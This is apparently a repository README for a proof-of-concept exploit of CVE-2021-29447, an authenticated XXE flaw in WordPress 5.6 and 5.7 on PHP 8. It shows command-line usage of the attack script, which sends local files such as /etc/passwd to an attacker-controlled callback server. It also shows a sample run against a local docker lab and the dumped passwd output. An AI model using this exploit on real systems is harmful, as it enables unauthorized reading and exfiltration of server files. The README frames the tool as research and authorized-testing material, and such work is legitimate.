CVE-2021-29447 PoC — WordPress Authenticated XXE attack when installation is running PHP 8

Description

PoC for CVE-2021-29447

Readme

# [CVE-2021-29447](https://nvd.nist.gov/vuln/detail/CVE-2021-29447) PoC

This repository contains a **Proof of Concept (PoC)** exploit for the **[CVE-2021-29447](https://nvd.nist.gov/vuln/detail/CVE-2021-29447)** vulnerability, affecting **WordPress 5.6 and 5.7** using PHP 8. The exploit demonstrates how an attacker, with the ability to upload files, can exploit an XML parsing vulnerability in the Media Library, leading to an XXE (XML External Entity) attack and, consequently, the exfiltration of local files from the target environment.

---
### :warning: DISCLAIMER  
This project is intended **for educational, research, and authorized security testing purposes only**.  
**Do not use this code on systems you do not own or have explicit permission to test.**  
The author is **not responsible** for any damage or misuse.

---
### Usage

```
┌──(magicrc㉿perun)-[~/code/CVE-2021-29447]
└─$ python3 ./CVE-2021-29447.py 
usage: python3 ./CVE-2021-29447.py [--lhost LHOST] [--lport LPORT] [--target TARGET] [--user USER] [--password PASSWORD] [--file FILE] [--timeout TIMEOUT]

options:
  --lhost LHOST        IP address of the HTTP server, must be reachable by the target, server itself binds to 0.0.0.0
  --lport LPORT        Local port for the HTTP server to bind to
  --target TARGET      Full URL of the WordPress target
  --user USER          Username used to authenticate with the WordPress site
  --password PASSWORD  Password for the specified WordPress user
  --file FILE          Absolute path of the file to attempt exfiltration from the target system
  --timeout TIMEOUT    Maximum number of seconds to wait for the exfiltration callback before shutting down the server

Example: python3 ./CVE-2021-29447.py --lhost 10.10.14.157 --lport 8080 --target http://target.com --user user --password pass --file /etc/passwd
```

### Example
Based on provided `docker-compose` for `wordpress:5.7.0-php8.0`.
```
┌──(magicrc㉿perun)-[~/code/CVE-2021-29447]
└─$ python3 ./CVE-2021-29447.py --lhost 172.17.0.1 --lport 8000 --target http://127.0.0.1:8080 --user admin --password '%rae2eX)mogPXX&$$r' --file /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
```

File Snapshot

Remarks